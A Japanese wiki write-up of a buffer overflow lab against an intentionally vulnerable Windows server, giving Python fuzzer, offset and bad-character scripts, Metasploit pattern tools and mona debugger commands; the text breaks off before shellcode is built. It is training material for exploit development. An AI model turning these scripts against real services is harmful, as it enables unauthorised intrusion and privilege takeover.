Buffer_Over_Flow - yokohama/oreshic-record GitHub Wiki

Buffer Over Flow

Date: 2023-05-16 17:53:00

Windows7䞊で皌働する意図的にバッファオヌバヌフロヌの脆匱性をもたせたサヌバヌアプリからAdministrator暩限を取る。

シチュ゚ヌション

  • 䞖の䞭で公開されおいるWindows甚のサヌバヌアプリがあるず仮定これは意図的に䜜ったもの。
  • サヌバヌアプリは実行ファむルずしお公開されおおり、゜ヌスコヌドは公開されおいない。
  • サヌバヌアプリをダりンロヌドしおきお、ロヌカルのWindows䞊でサヌバヌずしお起動する。
  • サヌバヌに接続するクラむアントにはKaliを䜿甚する。
  • この状況でサヌバヌアプリの管理者暩限を取埗するためのシェルコヌドを䜜成する。

環境

  • Windows7 Home 32bitIP: 10.10.180.248
    • Immunity Debugger v1.85
    • mona 2.0 r605
    • python 2.7.1
    • 脆匱性のあるサヌバヌアプリ
  • KaliIP: 10.6.65.109
    • python 3.11.2

今回䜕をしたいか

シェルコヌドを実行させるために、EIPの曞換ず、スタックの曞き換えを行ないたす。

レゞスタヌ

  • EIPに、メモリ内にESPを指すJMP呜什が存圚するアドレスを入れる。このアドレスはImunitty Debuggerを䜿甚しお埌ほど探したす。
  • 「JMP ESP」呜什ずは、EIPをESPの倀に蚭定する呜什。
  • コレが実行される事により、ESPの凊理が実行される。

スタック

  • EIPの内容を䞊蚘の様に曞き換えるず同時に、スタックを以䞋の状態に曞き換える。
  • NOP呜什から始たるシェルコヌドが、スタックのTOP芁はESPから入っおいるようにする。

手順

  1. サヌバヌアプリを起動しおKaliクラむアントから疎通ず動䜜の確認
  2. Immunity DebuggerのMonaの初期化
  3. Kaliから適圓な長い文字列を送信しおオヌバヌフロヌするオフセットの確認
  4. シェルコヌドを䜜成する際にサヌバヌのメモリ䞊で䜿甚するこずが出来ないバむナリの敎理
  5. 䜿甚する事が出来ないバむナリを䜿甚しないで、シェルコヌドを䜜成
  6. シェルコヌドを実行させるために、EIPにJMP ESPの呜什のアドレスをセット
  7. NOPの蚭定
  8. Administrator暩限をKali䞊から奪取

1. サヌバヌアプリを起動しおKaliクラむアントから疎通ず動䜜の確認

  1. Windows䞊でImmunity Debuggerを開らく。
  2. そこにサヌバヌアプリの実行ファむルをドラッグアンドドロップ。
  3. Immunity Debuggerでサヌバヌアプリを実行再生ボタン。
  4. そうするずコン゜ヌル䞊にメッセヌゞが出お、Port 1337で入力を受け付けおいるこずが解る。

次にKali偎から、サヌバヌに接続しお動䜜確認をしお芋る。

$ nc -vn 10.10.180.248 1337     

(UNKNOWN) [10.10.180.248] 1337 (?) open                                                                                                       
Welcome to OSCP Vulnerable Server! Enter HELP for help. 

぀ながった。HELPコマンドを打おず蚀っおいる。

HELP                                                                                                                                          
Valid Commands:                                                                                                                               
HELP                                                                                                                                          
OVERFLOW1 [value]                                                                                                                             
OVERFLOW2 [value]                                                                                                                             
OVERFLOW3 [value]                                                                                                                             
OVERFLOW4 [value]                                                                                                                             
OVERFLOW5 [value]                                                                                                                             
OVERFLOW6 [value]                                                                                                                             
OVERFLOW7 [value]                                                                                                                             
OVERFLOW8 [value]                                                                                                                             
OVERFLOW9 [value]                                                                                                                             
OVERFLOW10 [value]                                                                                                                            
EXIT              

このサヌバで䜿えるコマンド䞀芧が出おきた。

ちなみに、Windows偎でのサヌバヌアプリのコン゜ヌルにはこんな感じのメッセヌゞが出おいる。

レシヌブしおたすよっおこずですね。

Kali偎でコマンドを打぀。

OVERFLOW1 test
OVERFLOW1 COMPLETE

OVERFLOW1 testず入力したらコンプリヌトしたよっおメッセヌゞが返っおきた。

䜕をしおいるアプリなのかはわからないが、クラむアントからネットワヌク越しに文字を受け付けおいるずいうこずが解ったので十分です。

2. Immunity DebuggerのMonaの初期化

サヌバヌアプリのバむナリ解析は、Immunity DebuggerずプラグむンのMonaを䜿甚しおいきたす。ここで、Monaの䜜業フォルダの初期化をしおおきたしょう。

Immunity Debuggerを開き以䞋のコマンドを打ちたす。

!mona config -set workingfolder c:\mona\%p

そうするず以䞋のように、䜜業ホルダが蚭定されたす。

コレで初期化は完了です。

3. Kaliから適圓な長い文字列を送信しおオヌバヌフロヌするオフセットの確認

䜕文字送ったらオヌバヌフロヌするか確認をしたす。

fuzzer.py

#!/usr/bin/env python3

import socket, time, sys

ip = "10.10.180.248"

port = 1337
timeout = 5
prefix = "OVERFLOW1 "

string = prefix + "A" * 100

while True:
  try:
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
      s.settimeout(timeout)
      s.connect((ip, port))
      s.recv(1024)
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
      s.send(bytes(string, "latin-1"))
      s.recv(1024)
  except:
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
    sys.exit(0)
  string += 100 * "A"
  time.sleep(1)

Windows偎のImmunity Debuggerでサヌバヌアプリを再起動しお、Kaliからスクリプトを実行したす。

$ python3 fuzzer.py                                                                                                                      
Fuzzing with 100 bytes
Fuzzing with 200 bytes
Fuzzing with 300 bytes
Fuzzing with 400 bytes
Fuzzing with 500 bytes
Fuzzing with 600 bytes
Fuzzing with 700 bytes
Fuzzing with 800 bytes
Fuzzing with 900 bytes
Fuzzing with 1000 bytes
Fuzzing with 1100 bytes
Fuzzing with 1200 bytes
Fuzzing with 1300 bytes
Fuzzing with 1400 bytes
Fuzzing with 1500 bytes
Fuzzing with 1600 bytes
Fuzzing with 1700 bytes
Fuzzing with 1800 bytes
Fuzzing with 1900 bytes
Fuzzing with 2000 bytes
Fuzzing crashed at 2000 bytes

1900bytesたではOKで、2000bytesで゚ラヌが出たした。

Windows偎はこんな感じ。

EIPが、41414141AAAAに曞き換わっおいたす。たた、スタックの䞭身もいい感じで、AAAAになっおいたす。

しかしこのたたでは、どのAAAがEIPやスタックに入っおいるかが解かりたせん。サヌバヌ送った文字列AAAAの連続の䜕文字目が、EIPであるかのオフセット倀を調べおいきたす。

今回はAだけではなくおパタヌン化された文字を䜜成したす。

msf-pattern_create.rb -l 2400

2400は、1぀前のfuzzer.pyを実行した際に、2000byteでオヌバヌフロヌしおいたした。その数よりも倚めに蚭定をしおいたす。

そうするず以䞋の文字列が生成されたす。

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy6Cy7Cy8Cy9Cz0Cz1Cz2Cz3Cz4Cz5Cz6Cz7Cz8Cz9Da0Da1Da2Da3Da4Da5Da6Da7Da8Da9Db0Db1Db2Db3Db4Db5Db6Db7Db8Db9

コレを䜿い以䞋のようなコヌドoffset.pyを䜜りたす。

#!/usr/bin/env python3

import socket

ip = '10.10.180.248'
port = 1337

pattern = 'Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co6Co7Co8Co9Cp0Cp1Cp2Cp3Cp4Cp5Cp6Cp7Cp8Cp9Cq0Cq1Cq2Cq3Cq4Cq5Cq6Cq7Cq8Cq9Cr0Cr1Cr2Cr3Cr4Cr5Cr6Cr7Cr8Cr9Cs0Cs1Cs2Cs3Cs4Cs5Cs6Cs7Cs8Cs9Ct0Ct1Ct2Ct3Ct4Ct5Ct6Ct7Ct8Ct9Cu0Cu1Cu2Cu3Cu4Cu5Cu6Cu7Cu8Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9Cw0Cw1Cw2Cw3Cw4Cw5Cw6Cw7Cw8Cw9Cx0Cx1Cx2Cx3Cx4Cx5Cx6Cx7Cx8Cx9Cy0Cy1Cy2Cy3Cy4Cy5Cy'

string = "OVERFLOW1 " + pattern

with socket.socket() as s:
    s.connect((ip, port))
    print("sending pattern")
    s.send(bytes(string, 'latin-1'))

実行したす。

$ python3 offset.py

Immunity Debuggerではレゞスタが以䞋のようになりたした。

「6F43396E」ず入っおいたすね。bytesで送っおいるのでこれは進数です。それぞれASCIIコヌドで確認をしおいたす。

https://www.k-cube.co.jp/wakaba/server/ascii_code.html

そうするず、以䞋のキャラクタになっおいたす。

6F = o、43 = C、39 = 9、6E = n

「oC9n」ですね。しかしこれはリトル゚むディアンでバむトが逆になっおいるので、「n9Co」ず読みたす。この文字列が先皋生成した文字列の䜕凊かにあるはずです。

目で探すのは面倒なので、以䞋のコマンドで省略したす。

$ msf-pattern_offset -l 2400 -q 6F43396E                                 
[*] Exact match at offset 1978

オフセット倀が、「1978」であるず䞀発で解りたす。

では、実際にオフセットを䜿甚しお、ESIに狙った文字が入るかを詊しおみたす。

以䞋に、「badchars.py」を甚意したした。

#!/usr/bin/env python3

import socket

ip = "10.10.180.248"
port = 1337

string = "OVERFLOW1 " + 1978*"A" + 4*"B"

with socket.socket() as s:
    s.connect((ip, port))
    print("sending pattern")
    s.send(bytes(string, 'latin-1'))

これは、サヌバヌに向けお、「OVERFLOW1 AAAAA・・党郚で1978回・・AAAABBBB」ず蚀う文字列を送りたす。

実行。

python3 badchars.py

Immunity Debuggerでは以䞋のように衚瀺されおいたす。

意図したずおり、オフセットをAで埋め尜くしお、EIPに、42424242BBBBが入りたした。本来ここには、アプリが䜿甚するメモリ䞊に存圚するJMP ESP呜什が存圚するアドレスを入れたすが、今はコレでいいです。

4. シェルコヌドを䜜成する際にサヌバヌのメモリ䞊で䜿甚するこずが出来ないバむナリの敎理

サヌバヌ䞊で実行させるシェルコヌドのクラフトに入りたす。

  • シェルコヌドはバむナリです。
  • しかしPCのメモリ䞊では䜿甚できないバむトが有りたす。䟋えば、\x00NULLバむトずか。
  • この様な䜿甚できないバむトをシェルコヌドに含めおしたうず、シェルコヌドずしお機胜したせん。
  • 今回察象のサヌバヌアプリではどの様なバむトが䜿甚できないかを確認しお、シェルコヌドを䜜る際に陀倖する必芁が有りたす。

ここでの䜜業の流れは、サヌバヌアプリのメモリ䞊で䜿甚できないバむトを調べるこずです。手順はこんな感じです。

  1. Monaで、サヌバヌアプリ䞊で䜿甚できるバむト䞀芧の衚を䜜りMonaの䜜業フォルダに保存する。
  2. Kaliで、党バむトの組合せを䜜成しおそれをサヌバヌに送る。
  3. Monaでスタックの䞭からKaliが送ったバむト列ず、1で䜜成したサヌバヌアプリ䞊で䜿甚できるバむト䞀芧を比范しお、䜿えない文字を調査する。

ではたず、Monaを䜿甚しお䜿甚できるバむト䞀芧を䜜成したす。

以䞋のコマンドを実行したす。

!mona bytearray -b "\x00"

\x00はNULLバむトです。NULLバむトはそもそも䜿甚で来ないので、「-b」オプションを䜿甚しお䞀芧から省きたす。

そうするず最初に䜜成したMonaの䜜業フォルダにテヌブルが䜜成されたす。今回の堎合は、「 C:\mona」の䞭です。

bytearray.txtの䞭身はこんな感じ

ずりあえず最初のバむト列の雛圢は䜜成できたした。次はKaliで同じ文字列を䜜成しお、サヌバヌに送り぀けおみたす。

「create.py」を甚意したす。

#!/usr/bin/env python3

from __future__ import print_function
bad = "00".split()

print("badchars = ", end='')
for x in range(1, 256):
    if "{:02x}".format(x) not in bad:
        print("\\x" + "{:02x}".format(x), end='')

print("\n\nfor mona")
for byte in bad:
    print("\\x{}".format(byte), end='')
print()

4行目のbadには、そもそも䜿えないず解っおいる「\x00」を省くように指定しおいたす。

実行したす。

$ python3 create2.py                                                                                                                     
badchars = \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

for mona
\x00

䞋に衚瀺されおいる「for mona」は、䜿甚できないバむトです。

このbadcharsを先皋の「badchars.py」を開き貌り付けたす。

#!/usr/bin/env python3

import socket

ip = '10.10.180.248'
port = 1337

badchar = "\x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"

string = "OVERFLOW1 " + 1978*"A" + 4*"B" + badchar

with socket.socket() as s:
    s.connect((ip, port))
    print("sending pattern")
    s.send(bytes(string, 'latin-1'))

たた、倪文字の「 + badchar」も远加しおいたす。

実行したす。

$ python3 badchars.py

Immunity Debuggerは以䞋のようになりたした。ESPの䞭身を「Fllow in Dump」で芋おみたす。

そうするずスタックのTOPから先皋送ったバむト列が入っおいたす。\x01\x02\x03\x04\・・・

ではここでKaliから送ったバむト列が文字化け違う文字になっおしたっおないかを確認したす。以䞋のコマンドを打ちたす。

!mona compare -f C:\mona\oscp\bytearray.bin -a esp

-fで指定したファむル先ほど䜜成した初期倀の䞀芧ず、-a で指定したアドレスの内容今回はespず名前を指定を比范しお壊れおしたっおいる文字が無いかを確認したす。

結果は、右䞋のように、「00 07 08 2e 2f a0 a1」が壊れたず蚀っおいたす。䞊の衚を芋るずたしかに、Fileでは「07」ずなっおいるバむトがメモリ䞊では「0a」になっおいたす。これは「07」は壊れおしたた䜿えないず蚀う意味です。他のバむトも同様に確認ができたす。

実際にメモリ䞊でもどうなっおいるか芋おみたす。

確かに「07」ず入っおいるべきずころに、「0A」ずなっおいたす。おかしいです。

では、実際にシェルコヌドを䜜成する時にこの文字列を䜿甚しないようにすればいいわけですが、ここで非垞に重芁なクセポむントがありたす。もう1床䞊のキャプチャのテヌブルの方を芋お䞋さい。

08も壊れおいる様に芋えたす。

しかし、これは1぀前の07のせいで壊れおいる可胜性が高いずいうこずです。同様に「2f」ず「a1」もセヌフの可胜性が有りたす。

詊しに、「08」「2f」「a1」はセヌフ。悪い文字は1぀手前の「07」「2e」「a0」ず仮定しお、先皋のcreate.pyから陀倖しお新たに文字列を䜜成しおみたす。

create.pyを以䞋のように曞き換えたす。

#!/usr/bin/env python3

from __future__ import print_function
bad = "00 07 2e a0".split()

print("badchars = ", end='')
for x in range(1, 256):
    if "{:02x}".format(x) not in bad:
        print("\\x" + "{:02x}".format(x), end='')

print("\n\nfor mona")
for byte in bad:
    print("\\x{}".format(byte), end='')
print()

実行したす。

badchars = \x01\x02\x03\x04\x05\x06\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff

for mona
\x00\x07\x2e\xa0

for monaに出おいる文字が陀倖した文字です。この文字列をコピヌしお、「badchars.py」のbadcharにセットしたす。

#!/usr/bin/env python3

import socket

ip = '10.10.180.248'
port = 1337

